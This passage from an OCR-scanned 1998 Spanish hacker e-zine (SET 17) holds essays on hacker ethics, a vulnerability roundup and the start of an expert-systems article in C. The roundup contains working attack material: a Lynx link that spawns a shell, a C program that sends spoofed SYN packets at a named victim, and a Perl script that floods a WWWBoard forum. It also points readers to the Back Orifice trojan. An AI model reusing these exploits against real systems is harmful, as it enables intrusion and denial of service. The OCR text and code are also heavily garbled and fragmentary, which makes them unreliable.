conseguir) una libertad absoluta en Internet sin control de gobiernos, etc.
pues no tengo mas opcion que estar de acuerdo, lo contrario seria tirar
piedras sobre nuestros propios tejados. Pero el estar de acuerdo y el tomar
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parte en las movilizaciones y manifestaciones que se realizan en la Red no
tiene nada que ver con mis actividades de intrusismo en ordenadores ajenos.
No hablo de ficheros, configuraciones y demas con mis amigos y colegas para
reivindicar nada, lo hago con el mismo proposito que otros hablan de las
maguetas que hacen los fines de semana o los contactos realizados con una
emisora de radioaficionado, simplemente para compartir mis conocimientos

y experiencias y aprender a su vez de lo ofrecido por los demas.

De modo que separo totalmente mi actividad "hacker" de mi ideologia
politica acerca de la Red y de mi etica. No creo que haya una "etica del
hacker" o al menos no creo en ella, creo en la mia. Al igual que no voy
matando ni robando a nadie por la calle (ni lo haria aunque estuviera exento
de responsabilidades legales) cuando se consigue entrar en un sistema ajeno
no creo que haya que destruir informacion ni revelarla si es privada. Es
decir, el que es cabr*n lo sera en la calle y delante de un ordenador, y el
que no pues no. Ya somos mayorcitos para discernir el bien del mal y optar
por uno de ellos sin que se nos impongan unas normas morales para hacernos
sentir mas "hackers".

Paseante ponia un ejemplo: "Es un "okupa" aquel que sabe como
reventar cualquier cerradura?. O lo es quien esta a favor de otro tipo de
acuerdo social sobre el derecho a la vivienda?.". Efectivamente no es okupa
todo aquel que sabe reventar cerraduras ya que muchos cerrajeros y ladrones
entrarian en esa definicon que no les toca ni de cerca, pero no estoy de
acuerdo con que un okupa sea aquel que reivindica reformas en las leyes
sobre las viviendas. Conozco gente que esta viviendo en casas que no son
las suyas y empleando locales que no les pertenecen pero no reivindican
nada, simplemente les parece muy costoso mantener un local de reunion y una
casa donde vivir ya que carecen de medios, de modo que ante la necesidad han
optado por derribar una puerta. Asi hace un par de meses o tres derribaron un
edificio en el que vivian okupas. Vi como los desalojaban y ninguno de ellos
era punky ni comunista, o al menos no se veia que ese fuera el motivo de que
estuvieran alli (Aparecio incluso en un famoso canal de Tv.). Eran gente sin
posibilidades; yonquis, gitanos marginados, inmigrantes... que ante la no
posibilidad de tener algo mejor vivieron durante un tiempo en un edificio
sucio y medio en ruinas. Por su puesto! ellos, al igual que cualquiera con

dos dedos de frente, piensan que seria estupendo que TODOS tengamos un hogar

digno y funcional donde vivir, pero eso no fue la razon por la que toda esa
gente estaba viviendo alli, no fue la razon por la que okuparon un edificio
en desuso. Y como este, se presentan la mayoria de los casos de okupacion.

Como epilogo servios a pensar en Raider como en un hacker por
aficion, alguien a quien le divierte enfrentarse a ficheros de configuracion,
passwords, bugs, etc. Alguien que tiene a la informatica como hobby y que
piensa que debe algo a la comunidad de Internet de la que tanto se aprovecha,
y lo paga cuando puede entregando sin ningun tipo de prevision lucrativa todo
cuanto hace, desde programillas hasta documentos, con el animo de mantener
que una buena parte de la Red sea gratuita. Alguien que esta de acuerdo con
la mayor parte de las movilizaciones de Internet. Pero esto no quiere decir
que tenga todo esto como excusa para hackear. Judgad vosotros si soy hacker
0 no, se podria incluso inventar un nombre nuevo para la gente como yo. O
quiza ya exista.

Por ultimo queria dejar claro que respeto la opinion de todos, me
parece muy bien que cada uno tenga su propia motivacion para hackear

diferente a la de los demas, y espero que dichas diferencias no sirvan para
separar unos hackers de otros sino para enriquecerse mutuamente.

Raider.
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[:-{ Ox02 }-1]

Yo nunca me he considerado un hacker:

No he entrado en ningun sistema aprovechando alguno de los muchos bugs
que conozco, tampoco le he pasado nunca el "Jack" al fichero /etc/passw,

no he montado ningun Sniffer bajado de internet en mi universidad, ni

he baneado a nadie de un chat, ni he llamado nunca "lamer" a nadie por
preguntarme algo, ni me gusta la musica Tecno (It's only Rock’n’Roll but

I like it), ni he destruido nada solo por el placer de joder,...

ni siquiera he presumido de saber mas que nadie...

Vamos, que nunca he echo lo que se supone que debe hacer todo hacker que
se precie.

La verdad es que soy un tio con unas aficiones un poco raras, y la gente

no me entiende. Mi madre no entiende porque tengo un armario lleno de
aparatos electronicos desmontados que no funcionan (Radios, Videos,
Amplis, telefonos, PCs,...); mi hermano nunca entendio porque aprendia
Basic en mi MSX (entondes yo tenia 13 a~os) si el MSX era para jugar, ni
mucho menos cuando me dio por aprender Ensamblador para MSX y me pasaba
dias intentando compilar un Desensamblador que habia sacado de un libro,
(eso era con 15 a~0s). Mi padre no entendio porque me pase una semana
intentando descubrir el Dial de todas las emisoras de radio que podia

pillar. Mis compa~eros de universidad nunca compredieron porque me leia
esos libros tecnicos si eso no caia en el examen, ni porque me apuntaba

a esas asociaciones tan raras que te hacian perder el tiempo en vez de
concentrarme en la dificil carrera que hacia: Ing. de Telecomunicaciones.
Mis amigos no conciben como es que conozco a gente del extranjero si no
he salido nunca de Espa~a, y como es que tengo amigos a los que nunca he
visto. Nadie valora el que haya construido un emulador de Tarjeta Telefonica
con un microcontrrolador (ver en CPNE), si total no funciona, osea que no
puedes llamar gratis.

Lo que absolutamente nadie comprende es porque un ingeniero como

yo lee libros de filosofia si no son tecnicos; eso solo es para los que

quieren pensar, me dicen.

Ahora tengo 24 a~0s y soy un apasionado de la Seguridad Electronica y

la Criptografia. Me divierto estudiando todo tipo de informacion que

encuentro sobre el tema y me encanta explicar lo que se a todo el que

quiera preguntarme. Me gusta montar movidas alternativas, aunque me lleve
mucho trabajo y no me reporte ningun beneficio economico. Considero que
todo el mundo debe tiene el derecho a aprender, pero respetando a los demas,
sin romper las cosas por puro vandalismo.

En fin, que como ya he dicho soy un tipo muy raro.

El otro dia descubri SET y comence a leer las opiniones del Profesor Falken,
Paseante, el Duke y el resto de saqueadores y entonces comence a pensar...
puede?... sera posible que haya otra gente que piense como yo?....

seran ellos los verdaderos Hackers?... Sere yo un HACKER sin saberlo?

Hasta Otra

Hendrix (jm_hendrix@axis.org)
*EOF*
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-[0x09]
-[LOS BUGS DEL MES ]
-[ by SET Staff] SET-17-

-(0x01)-

Para : KDE

Tema : Privilegios de root

Patch : Unos prefieren WindowMaker, otros Gnome, AfterStep...
Creditos : Varios

Descripcion y Notas:

Aun no me lo explico. Y es que es dificil de entender como do programas como
el klock 1.0 y el kscreensaver pueden comprometer la cuenta de administrador.
Al parecer se trata de ciertos SUID por ahi perdidos, pero bueno, se supone
que se corregira antes de sacar la proxima version de KDE.

-(0x02 )-

Para :Windows NT

Tema : SNMP

Patch : Service Pack 4 1?1?1?21?
Creditos : Security Research Labs

Descripcion y Notas:

Cuando se instala el servicio SNMP, la configuracion por defecto deja al
sistema desnudo ante un posible ataque. Esta configuracion, entre otras
cosas, de permisos de lectura/escritura a la comunidad. Y da la casualidad
que las versiones previas al Service Pack 4 no permiten seleccionar que este
grupo de acceso solo tenga derechos de lectura.

De esta forma, un atacante bien informado podra modificar las tablas IP y
ARP, y eliminar o activar interfaces de red a su antojo. Y el potencial
riesgo gque esto supone aumenta cuando la maquina se trata de un firewall.

Sera este uno de los mas de 650 bugs que dicen corrige el Service Pack 4?

-(0x03)-

Para :Lynx

Tema : Troyanos

Patch : Aqui abajo
Creditos : Artur Grabowski

Descripcion y Notas:

Existen sistemas en los que el unico programa que tiene permitida la
ejecucion es el Lynx. O en los que incluso este esta configurado como si

de la shell de login se tratase.

Pues bien, podemos ejecutar codigo arbitrariamente desde el lynx. Por
ejemplo, si seleccionamos el siguiente link de una pagina, obtendremos una

shell limpia:

<a href="rlogin://foo;sh@foo">foo 16);

return ~sum;
}
void resolver (struct sockaddr * addr, char *hostname, u_short port)
{

struct sockaddr_in *address;
struct hostent  *host;

address = (struct sockaddr_in *)addr;
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}

(void) bzero((char *)address, sizeof(struct sockaddr_in));
address->sin_family = AF_INET,;

address->sin_port = htons(port);
address->sin_addr.s_addr = inet_addr(hostname);

if ( (int)address->sin_addr.s_addr == -1) {
host = gethostbyname(hostname);
if (host) {
bcopy( host->h_addr,
(char *)&address->sin_addr,host->h_length);

}else {
perror("Could not resolve address");
exit(-1);

}

int main(int argc, char **argv)

{

char runchar[] ="|/-\\";

char packet[PACKETSIZE],
*fromhost,

*tohost;

u_short fromport = 3000,
toport = 25;

struct sockaddr_in local, remote;
struct iphdr  *ip = (struct iphdr*) (packet + OFFSETIP);
struct tcphdr  *tcp = (struct tcphdr*) (packet + OFFSETTCP);

struct tcp_pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short lenght;
struct tcphdr tcpheader;
} pseudoheader;

int sock, result, runcharid = 0O;
if (argc < 3)

printf("usage: %s fakeaddr victim [port]\n", argv[0]);
exit(0);

}

if (argc == 4)
toport = atoi(argv[3]);

bzero((void*)packet, PACKETSIZE);
fromhost = argv[1];
tohost = argv[2];

resolver((struct sockaddr*)&local, fromhost, fromport);
resolver((struct sockaddr*)&remote, tohost, toport);

sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

if (sock == -1) {
perror(“"can’t get raw socket");
exit(1);

}
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[* src addr */

bcopy((char*)&local.sin_addr, &ip->saddr,sizeof(ip->saddr));
[* dst addr */
bcopy((char*)&remote.sin_addr,&ip->daddr,sizeof(ip->daddr));

ip->version = 4;

ip->ihl = sizeof(struct iphdr)/4;
ip->tos  =0;

ip->tot_len = htons(PACKETSIZE);
ip->id = htons(getpid() & 255);
/* no flags */

ip->frag_off = 0;

ip->ttl = 64;

ip->protocol = 6;

ip->check =0;

tcp->th_dport = htons(toport);
tcp->th_sport = htons(fromport);
tcp->th_seq = htonl(32089744);
tcp->th_ack = htonl(0);

tcp->th_off = sizeof(struct tcphdr)/4;
/* 6 bit reserved */

tcp->th_flags = TH_SYN;
tcp->th_win = htons(512);

[* start of pseudo header stuff */

bzero(&pseudoheader, 12+sizeof(struct tcphdr));

pseudoheader.saddr.s_addr=local.sin_addr.s_addr;

pseudoheader.daddr.s_addr=remote.sin_addr.s_addr;

pseudoheader.protocol = 6;

pseudoheader.lenght = htons(sizeof(struct tcphdr));

bcopy((char*) tcp, (char*) &pseudoheader.tcpheader,
sizeof(struct tcphdr));

/* end */

tcp->th_sum = cksum((u_short *) &pseudoheader,
12+sizeof(struct tcphdr));
/* 16 bit urg */

while (0)
{
result = sendto(sock, packet, PACKETSIZE, 0,
(struct sockaddr *)&remote, sizeof(remote));
if (result '= PACKETSIZE)
{

perror(“sending packet");
exit(0);

}
printf("\b");
printf("%c", runchar[runcharid]);
fflush(stdout);
runcharid++;
if (runcharid == 4)
runcharid = O;
usleep(SLEEP_UTIME);
}

return O;
<-->
Descripcion y Notas:

Michal propone y Salvatore codifica. Se trata de un peque~o programa capaz
de demostrar las vulnerabilidades conocidas del SendMail y del Qmail.
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Salvatore nos advierte ademas que ha modificado el fuente ligeramente para
que sea preciso retocarlo para que funcione correctamente, asi que ya
sabeis, a darle a la tecla.

-( 0x08 )-

Para : Formularios con Netscape bajo Windows
Tema :Inseguridad

Patch : En Linux esto no pasa

Creditos : Kelani

Descripcion y Notas:

Veamos. Se trata de un problema mas de seguridad que nos permitira hacernos
con datos enviados a traves de los formularios web. resulta que el Netscape,

en sus versiones 3.x y 4.x bajo Windows ?? (vamos, que funciona en 95/98/NT),
escribe un fichero con el nombre nsformXX.tmp, en el que se almacenan en
texto en claro los datos enviados al formulario.

Vamos, esto es la joya de los cibercafes ;)

-(0x09 )-

Para :xlock

Tema : Un overflow interesante
Patch : Pues su autor nos lo presta
Creditos : Aaron Campbell

<++> set_017/patches/xlock
--- xlock.c.orig Wed Nov 4 20:33:47 1998
+++ xlock.c  Wed Nov 4 20:34:28 1998
@@ -2524,7 +2524,7 @@

char buf[121];

char *home = getenv("HOME");

char *buffer;
- int i, j, cr;
+ int i, |, len;

if (lhome)
home =",
@@ -2587,13 +2587,12 @@

}
if (planf 1= NULL) {
for (i = 0; i < TEXTLINES; i++) {
- if (fgets(buf, 120, planf)) {
- cr = strlen(buf) - 1;
- if (buffcr] =="\n") {
buf[cr] = "\0’;
if (fgets(buf, 120, planf) && (len = strlen(buf)) > 0) {
if (bufflen - 1] =="\n") {
buf[--len] ="\0’;

+ o+ +

}
[* this expands tabs to 8 spaces */
for(j=0;j<crj++) {
+ for =0;j<len; j++) {
if (buf[j] =="\t") {
int k,tab=8- (j % 8);

@@ -2603,12 +2602,11 @@
for (k =j; k <j + tab; k++) {
buflk] ="
}
- cr +=tab;
- if (cr > 120)
- cr=120;
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+ len += tab;

+ if (len > 120)

+ len = 120;
}

}
- buf[cr] = "\0%;

plantext[i] = (char *) malloc(strlen(buf) + 1);
(void) strcpy(plantext[i], buf);

<-->
Descripcion y Notas:

Pues existe un fallo en la implementacion del xlock, que el propio Aaron
nos explica muy bien.

Xlock, busca alguno de los ficheros .xlocktext, .plan o .signature en el
HOME del usuario que lo ha ejecutado. Una vez que coge un fichero, lo abre
para su lectura.

El problema aparece en la funcion de lectura:

static void
read_plan()

FILE *planf = NULL;

char buf[121];

char *home = getenv("HOME");
char *buffer;

int i, ], cr;

planf = my_fopen(buffer, "r");

}
if (planf 1= NULL) {
for (i=0; i < TEXTLINES; i++) {
if (fgets(buf, 120, planf)) {
cr = strlen(buf) - 1;

(-]
(-]

buf[cr] = "\07;

Si el fichero existe, pero el primer caracter, por ejemplo, es un caracter
NULL, cr acaba apuntando fuera del buffer.

-( Ox0A )-

Para : XFree86 3.3.2

Tema : A cargarse ficheritos
Patch : No que yo sepa
Creditos : Adrian Voinea

Descripcion y Notas:

Se trata de la ejecucion del servidor X, con la opcion probeonly. En ese
momento, se generan dos ficheros en el directorio temporal: XF86Config.tmp y
dumbconfig.2. Estos ficheros son borrados una vez finalizado el test. Ah!

Y es que estos ficheros se crean en /tmp

El fallo de seguridad aparece cuando se ejecuta desde el root. Si un usuario
avispado realiza unos enlaces con esos nombres a los ficheros que el quiera

(y pueda), al ejecutar el root el programa estara borrando esos ficheros sin
darse cuenta.

-(Ox0B )-
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Para : WWWBoard

Tema : Incordiar al servidor de WWWBoard
Patch : Se supone

Creditos : Samuel Sparling

<++> set_017/exploits/wwwbbomber.pl

#!/usr/bin/perl

BRI R R R R G R R R R R R
#

# WWWBoard Bomber Exploit Script

# Written By: Samuel Sparling (sparling@slip.net)

#

# Written to exploit a flaw in the WWWBoard script

# by Matt Wright.

#

# Copyright © 1998 Samuel Sparling

# All Rights Reserved.

#

# Written 11-04-1998

BRI R S R R R R R R R R R R
use Socket;# Tell perl to use the socket module

# Change this if the server you're trying on uses a different port for http
$port=80;

print "WWWBoard Bomber Exploit Script\n\n";
print "WWWBoard.pl URL: ";

$url=<STDIN>;

chop($url) if $url =~ An$/;

print "Name: ";
$name=<STDIN>;
chop($name) if $name =~ \n$/;

print "E-Mail: *;
$email=<STDIN>;
chop($email) if Semail =~ An$/;

print "Subject: ";
$subject=<STDIN>;
chop($subject) if $subject =~ A\n$/;

print "Message: ";
$message=<STDIN>;
chop($message) if $message =~ A\n$/;

print "Followup Value: ";
$followup=<STDIN>;
chop($followup) if $followup =~ An$/;

print "Times to Post: ";
$stop=<STDIN>;
chop($stop) if $stop =~ An$/;

# Chop the URL into peices to use for the actual posting
$remote = $url;

$remote =~ s/http\:\\//g;
$remote =~ s/\/([*>]|\n)*//g;

$path = $Surl;

$path =~ s/http\:VW//g;
$path =~ s/$remote//q;
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$forminfo =

"name=%$name&email=$email&followup=$followup&subject=$subject&body=$message";
$forminfo =~ s/\,\%2C/g;# Turn comas into %2C so that they can be posted.
$forminfo =~ tr/ /+/;

$length = length($forminfo);

$submit = "POST $path HTTP/1.0\r\nReferer: $url\finUser Agent:
Mozilla/4.01 (Win95; I)\r\nContent-type:
application/x-www-form-urlencoded\r\nContent-length:
$length\n\n\r\n$forminfo\r\n®;

$i=0;
while($i < $stop)
{
&post_message;
Pi++;
print "$i message(s) posted.\n";

sub post_message

{
if ($port =~ A\D/) { $port = getservbyname($port, 'tcp’); }
die("No port specified.") unless $port;
$iaddr = inet_aton($remote) || die("Failed to find host: $remote");
$paddr = sockaddr_in($port, $iaddr);
$proto = getprotobyname(tcp’);
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die("Failed to open socket:
$I);
connect(SOCK, $paddr) || die("Unable to connect: $!");
send(SOCK,$submit,0);
while(<SOCK>) {
#print $_;# Uncomment for debugging if you have problems.
}
close(SOCK);
}
exit;
<-->

<++> set_017/patches/wwwboard
if ($FORM({’followup’}) {
$followup = "1";
@followup_num = split(/,/,$FORM{’followup’});
$num_followups = @followups = @followup_num;
$last_message = pop(@followups);
$origdate = "$FORM{ origdate’}";
$origname = "$FORM{ origname’}";
$origsubject = "$FORM{ origsubject’}";

# WWWBoard Bomb Patch

# Written By: Samuel Sparling (sparling@slip.net)
$fn=0;
while($fn < $num_followups)

{
$cur_fup = @followups[$fn];
$dfn=0;
foreach $fm(@followups)

if(@followups[$dfn] == @followups[$fn] && $dfn != $fn)
{

Articulo 0x09

SET 17

Péagina 58



Saqueadores Edicién Técnica

&error(board_bomb);

}
$dfn++;
}
$n++;
}
# End WWWBoard Bomb Patch
}
<-->

Descripcion y Notas:
Solo acerca del patch. Para aplicarlo, sustituir:

if (SFORM{’followup’}) {
$followup ="1";
@followup_num = split(/,/, $FORM{’followup});
$num_followups = @followups = @followup_num;
$last_message = pop(@followups);
$origdate = "$FORM{'origdate’}";
$origname = "$FORM{ origname’}";
$origsubject = "$FORM{ origsubject’}";
}

por el codigo suministrado.

-(0x0C )-

Para : Windows

Tema : Control remoto
Patch : Usa Linux
Creditos : cDc

Descripcion y Notas:

A estas alturas ya debeis oido todos hablar del Back Orifice. Un
peque~o troyano que permite tener el control total sobre una maquina
conectada a la red con un sistema operativo W95 o W98. Parece que
NT se resiste. Por eso habran sacado el Service Pack tan rapido, para
que se pueda utilizar tambien con el.

Ya sabeis, si quereis el programita, a pasarse por la pagina de los
de la vaca muerta... vamos, los del cDc.

*EOF*
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-[0x09]
-[ SISTEMAS EXPERTOS ]
-[ by Falken ] SET-17-
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by Falken

Introduccion

Hacia tiempo que no escribia algo, y ya iba siendo hora, verdad?

Al grano. He comprobado como ultimamente ha crecido el interes por la
inteligencia artificial, publicandose articulos en algunos fanzines de
tematica under.

Asi que en este numero vamos a tratar un oco por encima lo que es la
inteligencia artificial, en que nos puede servir, y vamos a poner un ejemplo
en C de un sistema experto. Y que conste que C no es el lenguaje mas
apropiado para la inteligencia artificial. Para algo tenemos los
tradicionales Lisp y Prolog. (A quien he oido decir que Java iba a sustituir
al Lisp?)

Breve historia... de la inteligencia

Hace unos a~os la inteligencia artificial paso por un momento que quizas
podriamos considerar de esplendor en lo que a imagen se refiere, pero no en
cuanto a resultados.

Todos nos guedabamos fascinados viendo ejemplos de maquinas que aprendian,
mantenian conversaciones, resolvian problemas.

De hecho, en "Juegos de guerra’, mientras que para mucha gente el
protagonismo lo tiene David LightMan como hacker, para otros lo tiene la
WOPR como maquina inteligente, que consigue aprender algo que mucha
gente ni siquiera entiende. Pero eso es una pelicula, y la realidad esta
aun muy lejos de esos extremos. Aunque hay leyendas... ;)

El primer problema al que nos enfrentamos cuando hablamos de inteligencia
artificial es el propio hecho de la inteligencia. Que es la inteligencia?
Esta claro que se puede reproducir la inteligencia, aunque algunos se
empe~an en demostrar lo contrario, comportandose como idiotas toda su
vida.

Pero de lo que se traa es de controlar ese proceso de inteligencia. De
ser capaces de definir que es lo que distingue un comportamiento
inteligente de otro no inteligente. En otras palabras. Se trata de
averiguar que es realmente la inteligencia.

Durante a~0s se estuvo de acuerdo con ciertas definiciones, como la que
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propuso Alan Turing. Decia que una maquina se podia considerar inteligente
si superaba cierta prueba.

La prueba consiste en tener a una persona en una habitacion y a la
magquina en otra. Una persona fuera de ambas, y sin poder entrar a
ninguna, raliza las preguntas que desee, a ambas entidades. Tanto la
maquina como la persona responden lo que crean oportuno.

Si no es posible determinar con total certeza cual es la persona y cual
la maquina, entonces la maquina habra de considerarse inteligente.

Este test, en mi opinion y en la de otros que saben mas que yo del tema,
ha sido ampliamente superado. De hecho, por eso hoy dia no se le considera
valido.

El nacimiento de la Inteligencia Artificial (IA pa los amigos ;) ), se
ha establecido en 1960, con la creacion del LISP por John McCarthy, del MIT.
Justo un a~o despues, Marvin Minsky, tambien del MIT escribiria un tratado
titulado ’hacia la inteligencia artificial’.

Quizas el programa mas conocido que realmente nunca supero el test de
Turing, aunque algunos asi lo consideren, es Eliza, de Joseph Weizenbaum,

creado en 1964. Un programa capaz de mantener una conversacion, parodiando

a un psicoanalista. Esa era la intencion de Weizenbaum cuando lo creo:
burlarse de los psicoanalistas de su epoca.

La sorpresa se la llevo el, cuando su secretaria le pidio permiso para
poder usar a Eliza con otra persona que se lo habia solicitado, pues a ella
le habia resuelto los problemas que tenia. Weizenbaum se esforzo en
demostrar primero que Eliza no era inteligente, y segundo, que era
peligroso.

La verdad, en mi opinion no es inteligente,pero si util. Un buen
psicoanalista no te resuelve el problema que tengas, te hace pensar para que
tu seas capaz de rsolverlo por ti mismo. Y eso es lo que hacia Eliza. A
menos que se refiera al peligro para el psicoanalisis, que entonces
muchos se quedarian sin trabajo.

El programa que causo un mayor revuelo fue el Doctor, de Borrow (espero
haberlo escrito bien ;) ). Se trata de una version ampliada de Eliza, que
realmente supero el test de Turing.

Borrow lo estaba desarrollando como hobby, y lo dejo funcionando en el
ordenador de su despacho mientras atendia otros asuntos. Su jefe se puso
en contacto con el, o al menos eso creia. Conectado a la terminal, confundio
al Doctor con Borrow, dandose cuenta del error cuando se le olvido finalizar
una frase con el punto. Esto era una condicion necesaria para que Doctor
recogiera la frase, la analizara y respondiese en consecuencia. Pero no
respondio... Y al final todo se descubrio.

Sigo sin creer que Dector fuera inteligente. Solo seguia un automata
que en funcion de una entrada generaba una salida. Como una calculadora
vulgar y corriente, pero mas entretenido.

Despues llego Shrdlu. Mas loco que ninguno de los anteriores. Te cambia
de tema de conversacion cuando de sale de las narices, y lo mejor es que
realmente parece inteligente.

Pero volvemos al mismo punto de partida. Que es la inteligencia?

Generalmente, aunque tengamos la inteligencia delante de nuestras narices,
no nos daremos cuenta. Ni siquiera lo hacemos con los animales. Veamos.
Su estructura biologica les impide vocalizar como un humano. Pero eso no
dice que no sean inteligentes. De hecho, un animal, aparte de entenderse
con los propios de su especie, aprenden a entender a los humanos, aunque
sean cosas reducidas, e incluso a otras especies. Y sin embargo, el ser
humano solo entiende al ser humano, y a veces ni eso.

Un ejemplo lo tenemos con la gorila Koko. Habla usando el lenguaje de
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signos de los sordomudos y mantiene perfectamente una conversacion. Hace
poco incluso sele adapto una terminal (menudo tecladito para soportar sus
‘delicados dedos’), y estuvo una hora y pico charlando con la gente que lo
queria a traves de Internet.

Asi gque si ni siquiera somos capaces de discernir con certeza la
inteligencia en un ser vivo, como lo vamos a hacer en una maquina?

Ramas de la IA

Con el paso del tiempo, la inteligencia artificial ha ido evolucionando.
En esta evolucion han surgido diversas ramas, algunas de las cuales no tienen
nada que ver con las demas.

Una de las mas conocidas es la busqueda de soluciones, que ademas es la que
de momento esta mas cerca de las redes.

La busqueda de soluciones tiene su ejemplo mas conocido en los programas
de ajedrez. Estos programas exploran un arbol evaluando la posicion de cada
pieza dentro del tablero, analizando a su vez las jugadas posteriores para
determinar cual es el movimiento mejor o en su caso, el menos malo.

Pero nosotros tenemos un ejemplo mucho mas cercano. En la red Internet.
Cuando un paquete IP no puede llegar a su destino por un camino, se busca
uno alternativo. Y ahi entran en juego los algoritmos de busqueda usados
en inteligencia artificial.

De hecho, los algoritmos de prediccion de saltos de los modernos
procesadores y los algoritmos de gestion de procesos de los sistemas
multitarea siguen reglas muy proximas a los algoritmos de busqueda de la
inteligencia artificial.

Otro campo de interes es el del procesamiento del lenguaje natural. Aqui
entran programas como Eliza, Doctor o Schrdlu. Pero mucho mejores. Desde
luego, ninguna empresa hoy piensa en desarrollar un programa que mantenga
una conversacion con el usuario, a no ser que se trate de un programa que
intente convencernos para que compremos Windows 2000.

Esta rama de la IA se aplica especialmente a correctores ortograficos que
no solo miran que una palabra este en un diccionario. Pero sobre todo a los
archipopulares traductores automaticos. Hay que tener presente que entre los
diferentes idiomas existen diferencias de expresion que no se solucionan
simplemente con cambiar una palabra de un idioma a otro.

Ademas, junto con otro campo de la IA que ahora veremos, es el ideal para
los sistemas de reconocimiento de voz dedicados a procesadores de texto.
Os imaginais un programa que segun le dictais os corrige gramatical y
sintacticamente... que rollo, no?

Lo siguiente es el reconocimento de modelos... Interesante y a la vez
util, sobre todo en fabricas, usado en conunto con un control de robotica.

Por seguir, podemos segui tratando de la logica, la logica difusa, y las
ultimas tendencias como la vida artificial.

Pero de lo que va a tratar este articulo principalmente es de los
sistemas expertos. De que son, como funcionan y para que se usan.

Sistemas expertos

Realmente no hay mucho que decir sobre los sistemas expertos... Se trata
de sistemas que son expertos. A que lo he dejado claro? ;)

Bromas aparte. Un sistema experto trata de reproducir a un experto en una
materia concreta. Imaginemos a una persona que no tiene mucha idea de
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ordenadores y se ha encontrado una tarjeta para su equipo. No sabe para que
sirve, pero tiene un amigo que es un genio de las computadoras. Vamos, que
nacio con un modem/fax bajo el brazo.

Da la casualidad que el dia que se encuentran no lleva la tarjea encimay
sale el tema. Entonces el amigo le pregunta:

<amigo> Es ISA o PCI

<afortunado> Y eso que es?

<amigo> la conexion al ordenador... tiene pistas grandes o peque~as?
<afortunado> peque~as

<amigo> tiene conectores externos?

<afortunado> si

<amigo> Cuantos?

<afortunado> 1

<amigo> Reconoces el tipo?

<afortunado> Parece de telefono, pero es mas ancho
<amigo> Y solo tiene 1?

<afortunado> Si, con dos lucecitas a un lado
<amigo> Tio, lo tuyo es una tarjeta de red UTP.

El sistema experto, cn unas reglas para las preguntas mas estrictas, tiene
que reproducir al amigo.

El uso de sistemas expertos nos ayuda a evitar que se nos pasen detalles
por alto cuando tenemos que tomar una decision importante, por ejemplo.
Ademas, la ventaja de disponer de un sistema experto se fundamenta
especialmente en que al ser un programa de ordenador, o una maquina, se hacen
copias y cada uno puede tener en su casa a su propio experto, sin tener que
estar dependiendo de la experiencia y formacion que requiere un experto
humano.

Ademas, lo que aprenda el sistema experto podra ser usado en los demas
sistemas expertos, y sobre todo, no se cansa nunca. Asi nos aseguramos que
no falla en un momento crucial.

Claro, que nada de esto se desarrolla si no tiene unas posibilidades
comerciales. Lamentable, pero es asi... Al menos lo era con la era
Microsoft.

La IA estaba un poco muerta, cerrada a los laboratorios de investigacion.
Pero a finales de los a~os 70 se creo MYCIN, el primer sistema experto
comercial.

MYCIN fue un exito total. Se desarrollo en la Universidad de Standford
(que curioso, como el cache kernel), con la intencion de ayudar a los
medicos a diagnosticar ciertas enfermedades bacterianas. En base a la
comparacion de muestras, el sistema experto elabora un criterio con el
que se contrasta el criterio del medico.

Hoy dia ya es impensable que un moderno hospital no cuente con un sistema
experto para confirmar las decisiones de los medicos. La palabra final la
sigue teniendo el medico, pero ahora cuenta con una ayuda importantisima,
y que nunca falla. (Fallara el al introducir los datos, pero el programa
no falla. Hace lo que esta programado).

En 1978 se desarrollo otro sistema experto de exito: PROSPECTOR. Este
quizas impulso mas la carrera por desarrollar mejores sistemas expertos,
dado que su mision era predecir la posibilidad de encontrar depositos de
minerales en una region en concreto. Minerales como petroleo, gas natural,
helio...

El sistema experto... por dentro

Fundamentalmente un sistema experto se constituye de dos partes esenciales.
Son la Base de conocimiento y el Motor de inferencia.
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La Base de conocimiento es una base de datos constituida por los objetos
de la muestra y los atributos que poseen mediante una relacion especial.
Por ejemplo, la tarjeta de red anterior es el objeto, y los atributos son
rj45, indicadores luminosos, etc. La relacion es 'tiene’

El Motor de inferencia es el que se encarga, a partir de la Base de
Conocimiento y de los datos proporcionados por el usuario, de discernir
a que objeto nos referimos. Para llegar a una conclusion, podemos usar uno
de tres metodos:

- Encadenamiento hacia adelante: Aqui el usuario suministra los datos
al sistema en un principio, y el
sistema elabora una hipotesis con
ellos.
- Encadenamiento hacia atras: En este caso, el sistema comienza
preguntando al usuario por propiedades
que puede tener el objeto, creando una
hipotesis inicial y trabajando en
demostrarla.
- Reglas de produccion: Se trata de un encadenamiento hacia atras
mejorado, en el que por defecto el sistema
siempre hipotetiza sobre la posibilidad que
de ser eliminada elimine la mayor
incertidumbre posible.

Codigo fuente para entrenarse un poco

Aqui os dejo una version muy cutre (y con errores) de un sistema experto
de proposito general muy basico.

<++> set_017/SE/experto.c
[* experto.c by Falken para SET

*BETA 1

*

* SET - Saqueadores Edicion Tecnica, 1998

* Sistema experto basico de proposito general que ofrece multiples

* soluciones y ademas muestra el razonamiento seguido.

* Basado en el fuente incluido en el libro 'Utilizacion de C en inteligencia
* artificial’ de Herbert Schildt, y publicado por Osborne/McGrawHill

*

* UNIX/Linux: gcc -0 experto experto.c

* DOS: DIGPP

* Windows: Cygnus

*

* EXPERTO

*

*/

#include "stdio.h"
#include "alloc.h"

#define MAX 100

struct atributo {
char atrib [80];
struct atributo *siguiente;
}at;

struct objeto {
char nombre [80];
struct atributo *alista; /* Apuntar a la lista de atributos */
} ob;

struct objeto_rechazado {
char nombre [80];
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char atrib [80]; [* Atributo que causo el rechazo */
char condicion; /* Era necesario o se descarto por
una deduccion previa */
b
struct objeto_rechazado r_base [MAX];
struct objeto base_c [MAX]; /* Base de conocimiento */
int n_pos = -1, /* Posicion en la base de
conocimiento */
intr_pos = -1; /* Posicion en la lista de

rechazos */

struct atributo *si, *no; /* listas de tiene y no tiene */
struct atributo *siguientesi, *siguienteno;

main ()
{
char ch;
no=si=0x00;
do{
libera_lista();
ch=menu();

switch(ch) {

case 'i": introduce();
break;

case 'p’: pregunta();
break;

case 's’: salva();
break;

case 'c”: cargal();
break;

}
} while (ch !="x%);

}
libera_lista()
{
struct atributo *p;
while (si) {
p = si -> siguiente;
free (si);
si=p;
}
while (no) {
p = no -> siguiente;
free (no);
no = p;
}
}
/*

* Ahora codificamos la funcion encargada de crear la base de conocimiento
*/

introduce()
{
intt;
